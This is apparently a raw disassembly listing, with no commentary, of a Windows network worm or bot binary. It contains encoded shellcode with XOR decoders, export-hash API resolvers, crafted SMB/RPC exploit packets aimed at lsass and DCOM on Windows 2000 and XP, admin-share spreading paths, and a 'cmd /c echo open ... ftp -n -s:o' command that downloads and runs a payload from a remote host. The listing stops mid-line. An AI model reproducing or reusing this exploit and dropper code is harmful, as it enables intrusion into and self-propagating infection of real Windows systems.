dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 2 dup(0) dword_446178 dd 0AD9Dh ; sub_40B8D0+41Ar dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_4461B8 dd 1004600h ; sub_40B8D0+245r ... dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_446270 dd 1CEC8166h dword_446274 dd 0E4FF07h dword_446278 dd 73255C5Ch, 6370695Ch, 24hdword_446284 dd 6EB06EBh, 0 dword_44628C dd 1CEC8166h dword_446290 dd 0E4FF07h dword_446294 dd 73255C5Ch, 6370695Ch, 24h; --------------------------------------------------------------------------- loc_4462A0: ; DATA XREF: sub_40BEAB+19Fo jmp short loc_4462A8 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4462A3: ; CODE XREF: seg002:004462E6j push es ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_4462A8: ; CODE XREF: seg002:loc_4462A0j ; DATA XREF: sub_40C5EF+118o jmp short loc_4462AD ; --------------------------------------------------------------------------- loc_4462AA: ; CODE XREF: seg002:loc_4462ADp pop ebp jmp short loc_4462B2 ; --------------------------------------------------------------------------- loc_4462AD: ; CODE XREF: seg002:loc_4462A8j call loc_4462AA loc_4462B2: ; CODE XREF: seg002:004462ABj mov eax, ebp add eax, 11h xor ecx, ecx mov cx, 1C9h ; CODE XREF: seg002:004462D8j loc_4462BD: ; CODE XREF: seg002:004462C1j xor byte ptr [eax], 88h inc eax loop loc_4462BD fld qword ptr [ebx] add edi, fs:[ecx+ecx+64h] or [eax-3B9F7778h], cl mov [eax+74CE0188h], ecx loc_4462D6: ; CODE XREF: seg002:loc_4462D6j ja short loc_4462D6 jz short near ptr loc_4462B9+1 push es mov byte ptr [esi-76269F9Ch], 88h mov [ecx], al into dec esi loopne loc_4462A3 mov edx, 0FFE08888h sti mov edx, 0DE77DCD7h dec esi add esi, ecx jo short loc_44636F ; --------------------------------------------------------------------------- dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h db 88h, 89h, 88h ; --------------------------------------------------------------------------- loc_446333: ; CODE XREF: seg002:loc_4463A7j mov [ecx], al into jl short loc_4463AF ; --------------------------------------------------------------------------- db 0FEh, 70h, 0E0h ; --------------------------------------------------------------------------- loc_44633B: ; CODE XREF: seg002:00446359j push ecx cmp dword ptr [ebp+25h], 88887860h mov [ecx], al into js short loc_4463BF ; --------------------------------------------------------------------------- db 0FEh, 70h, 0E0h ; --------------------------------------------------------------------------- loc_44634B: ; CODE XREF: seg002:00446369j sub al, 92h clc dec edi pusha push 1888888h into db 64h ; CODE XREF: seg002:00446356j ja short near ptr loc_446356+1 jo short loc_44633B loc_44635B: ; CODE XREF: seg002:00446379j sub al, 25h cmpsb popa pusha pop eax mov [eax+60CE0188h], cl loc_446367: ; CODE XREF: seg002:loc_446367j ja short loc_446367 jo short loc_44634B insd ror dword ptr [esi], 0C1h loc_44636F: ; CODE XREF: seg002:004462F6j pusha dec eax mov [eax+6ACE0188h], cl loc_446377: ; CODE XREF: seg002:loc_446377j ja short loc_446377 jo short loc_44635B outsd icebp dec esi icebp pusha loc_446380: ; CODE XREF: seg002:004463A0j cmp [eax-31FE7778h], cl pop esi mov ebx, 7C640977h mov [eax-761F2378h], ecx loc_446392: ; CODE XREF: seg002:loc_4463B2j ; seg002:004463B7j mov [eax+7CDE7788h], ecx fcomp st fcomp st enter 0FFFFC8D8h, 0D8h ; CODE XREF: seg002:loc_4463BFj ja short loc_446380 js short loc_4463A7 push eax fstp9 st(7) loc_4463A7: ; CODE XREF: seg002:004463A2j loopne loc_446333 mov [ebx-1DBBFC91h], ch loc_4463AF: ; CODE XREF: seg002:00446336j sahf fstp1 st(3) loc_4463B2: ; CODE XREF: seg002:004463E4j ja short loc_446392 loc_4463B4: ; CODE XREF: seg002:004463C6j db 64h fstp9 st(3) ja short near ptr loc_446392+5 pusha mov ebx, 0DBD9DF77h loc_4463BF: ; CODE XREF: seg002:00446346j ja short near ptr loc_44639C+3 push 3 pop eax add esi, ecx db 36h ; CODE XREF: seg002:0044640Dj loopne loc_4463B4 in eax, 0ECh mov [ecx], al out dx, al dec edx or ecx, [esp+5] mov ah, 0ACh mov ebx, 841BB48h dec ecx popf and ebp, [edx+75h] dec esi int 3 ; Trap to Debugger lodsb cwde int 3 ; Trap to Debugger jbe short loc_4463B2 lodsb mov ch, 1 fsubr qword ptr [eax+eax*8-3B5323FFh] ; CODE XREF: seg002:0044640Fj add esp, ebx lodsb fadd dword ptr ds:0DC98ACCCh fcomp st(1) fstp1 st(1) leave fld st(1) fstp1 st(1) loc_446402: ; CODE XREF: seg002:loc_446402j ja short loc_446402 dec edx fnstenv byte ptr [edi-22h] inc esi add eax, [edx+77h] ja short near ptr loc_4463C6+2 ja short near ptr loc_4463E9+6 pop edx add eax, [eax+77h] ; --------------------------------------------------------------------------- db 0FEh, 36h, 77h dd 16635EDEh, 0DE9CDE77h, 88B829ECh, 0C8038888h, 94F80384h dd 80C80325h, 888C4AD6h, 0DFDEDDDBh, 90ACE403h, 3B4CD03h dd 8BF08DDCh, 90C2035Dh, 8BA8D203h, 0C1BA6B55h, 8B03BC03h dd 7477BB7Dh, 0B22448BBh, 498FFC4Ch, 708B8547h, 0F4B37A63h dd 69FD9CACh, 8BACD203h, 8403EE55h, 94D203C3h, 8C03558Bh dd 634D8B03h, 348BB8Ah, 0D5D6D75Dh, 888C4AD3h dword_44648C dd 280004h, 10h, 4 dup(0) dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh dd 68736942h, 326B656Bh, 0FF333030h, 0 dd 1, 0 dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0 aWindows2000Sp3 db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: seg000:0040C497o align 4 aWindowsXpSp1En db 'Windows XP SP 1 (en)',0 ; DATA XREF: seg000:0040C4B0o align 10h dword_446510 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 aNetmaniac db 'NETMANIAC',0 ; DATA XREF: sub_40C5EF+1Eo align 4 aAdik db 'ADIK',0 ; DATA XREF: sub_40C5EF+2Ao align 4 byte_446534 db 5 dup(90h) ; DATA XREF: sub_40C5EF+35o ; --------------------------------------------------------------------------- jmp short loc_44653E ; =============== S U B R O U T I N E ======================================= sub_44653B proc near ; CODE XREF: sub_44653B:loc_44653Ep pop eax jmp short loc_446543 ; --------------------------------------------------------------------------- loc_44653E: ; CODE XREF: seg002:00446539j call sub_44653B loc_446543: ; CODE XREF: sub_44653B+1j mov ecx, 0FFFFFFFFh sub ecx, 0FFFFEE7Fh sub eax, ecx jmp eax sub_44653B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 byte_446554 db 4 dup(90h) ; DATA XREF: sub_40C5EF+45o dd 909010EBh, 90909090h, 0 aMessage db '*** MESSAGE ***',0 ; DATA XREF: sub_40C5EF+51o aMsgBodySizeD db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40C5EF+177o align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CA75+B2o align 4 dword_446598 dd 10FF8h, 0 dword_4465A0 dd 10FF8h dword_4465A4 dd 7FFDF020h, 0 dword_4465AC dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_446634 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_446664 dd 0 dd 800000D4h, 0 unk_446670 db 81h ; ; DATA XREF: sub_40CF79+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_4466BC db 41h ; DATA XREF: sub_40D017+FFr aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_446700 proc near ; DATA XREF: seg000:0040D2CEo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4467FC push dword ptr [esi] push 63D61209h call sub_446812 mov [esi+8], eax call sub_4467C5 push dword ptr [esi+4] push 0CA2BD06Bh call sub_446812 mov [esi+0Ch], eax call sub_446777 push dword ptr [esi+4] push 4C0297FAh call sub_446812 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_446700 endp ; =============== S U B R O U T I N E ======================================= sub_446777 proc near ; CODE XREF: sub_446700+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4467A0 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_446777 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4467A0 proc near ; CODE XREF: sub_446777+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4467AF: ; CODE XREF: sub_4467A0+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4467BC inc ebx jmp short loc_4467AF ; --------------------------------------------------------------------------- loc_4467BC: ; CODE XREF: sub_4467A0+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4467A0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4467C5 proc near ; CODE XREF: sub_446700+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4467DD: ; CODE XREF: sub_4467C5+1Ej cmp [ecx], ebx jz short loc_4467E5 mov ecx, [ecx] jmp short loc_4467DD ; --------------------------------------------------------------------------- loc_4467E5: ; CODE XREF: sub_4467C5+1Aj mov edx, edi loc_4467E7: ; CODE XREF: sub_4467C5+2Aj cmp [edx+4], ebx jz short loc_4467F1 mov edx, [edx+4] jmp short loc_4467E7 ; --------------------------------------------------------------------------- loc_4467F1: ; CODE XREF: sub_4467C5+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4467C5 endp ; =============== S U B R O U T I N E ======================================= sub_4467FC proc near ; CODE XREF: sub_446700+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4467FC endp ; =============== S U B R O U T I N E ======================================= sub_446812 proc near ; CODE XREF: sub_446700+16p ; sub_446700+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_446828: ; CODE XREF: sub_446812+33j jecxz short loc_446862 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_446835: ; CODE XREF: sub_446812+2Dj lodsb cmp al, ah jz short loc_446841 ror edi, 0Dh add edi, eax jmp short loc_446835 ; --------------------------------------------------------------------------- loc_446841: ; CODE XREF: sub_446812+26j cmp edi, [esp+20h+arg_0] jnz short loc_446828 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_446862: ; CODE XREF: sub_446812:loc_446828j ; sub_446812:loc_446862j jmp short loc_446862 sub_446812 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_446868 proc near ; DATA XREF: seg000:0040D27Co arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_4468BA mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_446885: ; CODE XREF: sub_446868+38j jecxz short loc_4468B5 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_446890: ; CODE XREF: sub_446868+32j lodsb test al, al jz short loc_44689C ror edx, 0Dh add edx, eax jmp short loc_446890 ; --------------------------------------------------------------------------- loc_44689C: ; CODE XREF: sub_446868+2Bj cmp edx, [esp+arg_0] jnz short loc_446885 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_4468B5: ; CODE XREF: sub_446868:loc_446885j mov [esp+arg_0], ebx retn sub_446868 endp ; =============== S U B R O U T I N E ======================================= sub_4468BA proc near ; CODE XREF: sub_446868+7p ; FUNCTION CHUNK AT 004468F2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4468D3 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4468DE ; --------------------------------------------------------------------------- loc_4468D3: ; CODE XREF: sub_4468BA+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4468DE: ; CODE XREF: sub_4468BA+14j pop edi xor esi, esi pusha push esi jmp short loc_4468F2 sub_4468BA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4468E5 proc near ; CODE XREF: sub_4468BA:loc_4468F2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4468E5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4468BA loc_4468F2: ; CODE XREF: sub_4468BA+29j call sub_4468E5 loc_4468F7: ; DATA XREF: sub_40CA1A+1Bo add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_4468BA ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_4468FC: ; DATA XREF: sub_40CA75+E8o jmp short near ptr dword_446904 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_446904 dd 0 aCccc db 'CCCC',0 ; DATA XREF: sub_40CA75+153o align 10h dword_446910 dd 3 dword_446914 dd 0A1h dword_446918 dd 30h dword_44691C dd 62B0606h, 2050501h, 0A0hdword_446928 dd 60h aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: seg000:0040D2A3o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_446990 dd 1000005h, 10h, 418h, 0 dd 400h, 90000h, 3 dup(1), 2 dup(3), 2, 7E4h, 0 dd 7E4h, 53004Fh, 3Ah off_4469D4 dd offset dword_50005C ; DATA XREF: seg000:0040DE30o dd offset word_490052 dd offset loc_410054+2 dd offset word_450054 unicode 0, <$\>,0 align 4 dword_4469EC dd 5, 10h, 418h, 0 dd 400h, 90000h, 0 dword_446A08 dd 2000005h, 10h, 404h, 0 dd 3ECh, 90000h, 0 ; --------------------------------------------------------------------------- loc_446A24: ; DATA XREF: seg000:0040DE7Co jmp short loc_446A2E ; --------------------------------------------------------------------------- align 4 dd offset loc_4014E9 db 2 dup(90h) ; --------------------------------------------------------------------------- loc_446A2E: ; CODE XREF: seg002:loc_446A24j nop nop nop nop nop nop jmp short loc_446A3E ; --------------------------------------------------------------------------- align 4 dd offset loc_4014E9 db 2 dup(90h) ; --------------------------------------------------------------------------- loc_446A3E: ; CODE XREF: seg002:00446A34j jmp short loc_446A5A ; --------------------------------------------------------------------------- dd 6F684041h, 6F657375h, 62616466h, 41487375h, 909006EBh dd 100124Dh db 2 dup(90h) ; --------------------------------------------------------------------------- loc_446A5A: ; CODE XREF: seg002:loc_446A3Ej nop nop nop nop ; --------------------------------------------------------------------------- dw 0 dword_446A60 dd 0E983C929h, 0D9EED9B0h, 5BF42474h; --------------------------------------------------------------------------- loc_446A6C: ; CODE XREF: seg002:00446A76j xor dword ptr [ebx+13h], 3704F519h sub ebx, 0FFFFFFFCh loop loc_446A6C ; --------------------------------------------------------------------------- dd 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh, 32787E25h dd 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h, 0AEC4C4F7h dd 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h, 688F106Ch dd 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah, 5618D175h dd 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h, 0B96CAB11h dd 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h, 0E7FBA146h dd 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h, 0C8069F4Ch dd 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah, 0E7FBA65Ah db 7Fh, 9Dh word_446B1A dw 551Ah ; DATA XREF: seg000:0040DEB6w dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 0 dword_446BBC dd 5C5Ch dword_446BC0 dd 5Ch dword_446BC4 dd 696D6461h, 246Eha8a885d041ceb11 db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40DBFE+Co align 4 aFdb3a030065f11 db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: seg000:0040DD22o align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: seg000:0040DFD4o aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: seg000:0040DFDBo align 10h aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: seg000:loc_40DFE2o aC_0: ; DATA XREF: seg000:0040DFE9o unicode 0, <c>,0 aD: ; DATA XREF: seg000:0040DFF0o unicode 0, <d>,0 aSSS_1 db '%s\%s\%s',0 ; DATA XREF: seg000:0040E03Fo align 4 aNoPassword db '(no password)',0 ; DATA XREF: seg000:0040E163o align 4 unk_446C78 db 2 ; DATA XREF: seg000:0040E18Ao db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 65h, 74h ; CODE XREF: sub_446CDE:loc_446CF3j db 2 db 62h, 2, 69h db 1Fh db 6Fh, 1Fh, 73h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ExploitingIpS db '2 Exploiting IP: %s, Share: \%s, User: (%s/%s)',0 aS_31 db '\\%s',0 ; DATA XREF: sub_40E268+15o align 4 aSIpc db '%s\ipc$',0 ; DATA XREF: sub_40E268+59o ; --------------------------------------------------------------------------- loc_446CDC: ; DATA XREF: seg000:0040E59Co ; seg000:0040E675o jmp short loc_446CEE ; =============== S U B R O U T I N E ======================================= sub_446CDE proc near ; CODE XREF: sub_446CDE:loc_446CEEp pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_446CE6: ; CODE XREF: sub_446CDE+Cj xor byte ptr [edx+ecx], 99h loop loc_446CE6 jmp short loc_446CF3 ; --------------------------------------------------------------------------- loc_446CEE: ; CODE XREF: seg002:loc_446CDCj call sub_446CDE loc_446CF3: ; CODE XREF: sub_446CDE+Ej jo short near ptr byte_446C89+1 cwde cdq cdq retn sub_446CDE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_446D8C dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: seg000:0040E4C8o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_446E74 dd 600EBh dword_446E78 dd 0FFF83FE9h, 0FFhoff_446E80 dd offset loc_43001D+4 ; DATA XREF: seg000:0040E647o dd 770032h dword_446E88 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 ; seg000:0040E805o dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2 dword_446ED0 dd 3000005h, 10h, 0D20h, 1, 0D08h, 90000h, 419h, 0 ; DATA XREF: seg000:0040E5D4o dd 419h dword_446EF4 dd 3000005h, 10h, 1520h, 1, 1508h, 90000h, 819h, 0 ; DATA XREF: seg000:0040E504o dd 819h dword_446F18 dd 0BAADh, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 8080000h, 130079h, 0 dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 8500000h dd 0B0079h, 0 dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h dd 41h, 6C68BAADh, 0F0B60013h, 24E563BBh, 5FD45F0Fh, 0DF7B4444h dd 0DA1E42A2h, 0F84FBDC6h, 0CC7B2D6Dh, 0F6DAFABFh, 9957C071h dd 410B1AEBh, 46F69CCBh, 2E0CCA98h, 0FEE65D4Fh, 0BCE2FD34h dd 14772D1h, 0DDAFF5E1h, 276A0160h, 26F6C036h, 909C988Bh dd 2383541Fh, 0FF78501Dh, 0BC6FC3A9h, 7AEDEAD6h, 0D33E15C9h dd 18924307h, 84B743A3h, 99912670h, 6AFBAC10h, 0FAF6373Fh dd 232A7A8h, 0C47B323Ah, 2F373822h, 0FBB32D08h, 0AB0316D8h dd 0D2B7ACC5h, 0AB285C9Eh, 54F58E7Eh, 1EF0BFA3h, 0FC370693h dd 0B6B21CD0h, 0B35B23D5h, 3BD4E764h, 0BD1FE911h, 6696F5C8h dd 0C7D84740h, 56F525C2h, 0B1E658D7h, 85459C41h, 0CF5515B8h dd 1B99583Eh, 0E479E2EFh, 0F5B9A1AFh, 5BADB1C4h, 0FCB06DFh dd 6FF714h, 0F450AEC3h, 0BE20C3AFh, 1D9B9B89h, 902F08B5h dd 0B593A29Ch, 0AD3EB99h, 65BD84B4h, 0DCF9C147h, 4FB358D5h dd 1F051851h, 665F64B7h, 4F7D2E50h, 0FD32403Ah, 0CAA2048Eh dd 0E8ECD048h, 1C68BE70h, 0C1F22032h, 2C20A9E2h, 0AFD8F043h dd 0AD2A81EFh, 39300457h, 0ACBB45F6h, 54D49701h, 16DF66BFh dd 4B670129h, 856AA3B8h, 0A04D2B42h, 0B6FB0C9Bh, 81BDC57Ch dd 0D9741A3Eh, 584B13DFh, 0EACF0598h, 9CEBFF61h, 3FEC7886h dd 3FD3839h, 8BC57D88h, 1615362Dh, 3C94E81Bh, 10890BE9h dd 1114E699h, 2F8C54Fh, 0B195A1B8h, 0F62BCF58h, 3F3E17B2h dd 0E2DE4865h, 0B8E74DAEh, 0BFFADE91h, 0E6463Ch, 0A37E40A4h dd 0A0A1DE35h, 15EBF902h, 27A4A30h, 3A2DE938h, 942C18F3h dd 35F74713h, 0A03749A7h, 0BFAA1B98h, 0E3028BF5h, 6A5444F4h dd 0BF8D9185h, 0C24CE40Ch, 8239677Fh, 4B0E4B66h, 0ACA84C34h dd 51110F0Ah, 0A35A3E7Bh, 0F24626FBh, 6D3BAF84h, 81774A00h dd 0B7DB7009h, 0A2EFECF5h, 110328F8h, 1D3D93ADh, 4FC3D6ACh dd 7382EFFAh, 7B7D0CAh, 6E901B06h, 0F0B60013h, 24E563BBh dd 5AB55F0Fh, 0EA2829F2h, 9F08AC70h, 7E92BB80h, 0E2F4253Ch dd 91578ABFh, 0D28AC0F1h, 423A4F01h, 0C35570EEh, 70C4C75h dd 0DFA846FFh, 684519A9h, 17172D0h, 0DDAF22E1h, 9CE4A188h dd 15F6C071h, 891109F0h, 53830A1Fh, 6C4E501Dh, 0BC6F6409h dd 3F57EAAEh, 0D33E15B4h, 0ED924307h, 84B75E17h, 36912673h dd 92FBFC09h, 0FAEA348Ah, 0BB32A7A8h, 0C47B3235h, 2F37282Ah dd 0FBB32D08h, 0ABDB16D8h, 3B7ACC5h, 0ABD95C0Bh, 54F58E7Eh dd 1EF0BFA3h, 0FC37145Ch, 0B6B21CFBh, 0B3BE90D5h, 0A1D4E764h dd 0BD1FE911h, 6696F5C8h, 8BD84740h, 56F5258Dh, 0B1E658D7h dd 46039C41h, 0CF551570h, 1B99583Eh, 0E415E2EFh, 0F5FEA1AFh dd 5BADB1C4h, 0FCB06DFh, 6FF714h, 0AA50AEC3h, 0BE20C3AFh dd 1D9B9BD2h, 902F08B5h, 0B58AA29Ch, 0AD3EB99h, 656D84B4h dd 0DCF9C147h, 812E58D5h, 8B051851h, 665F64B7h, 4F7DCD50h dd 0FD32403Ah, 0CAA2048Eh, 0E848D048h, 1C219170h, 0C1F22032h dd 2CC3A9E2h, 0AFD8F043h, 0AD2A81EFh, 39300457h, 0ACBB45F6h dd 54D4979Ah, 16DFE8BFh, 4BDAB329h, 856AA3B8h, 0A04D2B42h dd 0B6FB7E9Bh, 0ABBDC5D7h, 0D9741A3Eh, 584B13DFh, 0EACF0598h dd 9CEBFF61h, 3FEC7886h, 3FD3839h, 8BC57D88h, 1615362Dh dd 0BE94E81Bh, 10890BE9h, 1114E699h, 2F8C54Fh, 0B195A1B8h dd 0F62BCF58h, 3F3E17B2h, 0E2DE1865h, 0B8E74DADh, 0BFFADE91h dd 0E6463Ch, 0A37E40A4h, 0A0A1DE35h, 15EBF9DCh, 27AFD30h dd 3A2DE938h, 942C18F3h, 64F74713h, 0A03749A7h, 0BFAA1B98h dd 0E3028BF5h, 6A5444F4h, 0BF8D9132h, 0C24CE40Ch, 8239677Fh dd 4B0E4B66h, 0ACA84C34h, 51110F0Ah, 0A35A3E7Bh, 0F24626FBh dd 6D3BAF84h, 81774A00h, 0B7DB7009h, 0A2EFECF5h, 110328F8h dd 1D3DB8ADh, 4FC3D6ACh, 7382EFFAh, 7B7D0CAh, 8C01B06h dd 0 dword_4473E4 dd 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh ; DATA XREF: seg000:0040E538o dd 0AD00F0h, 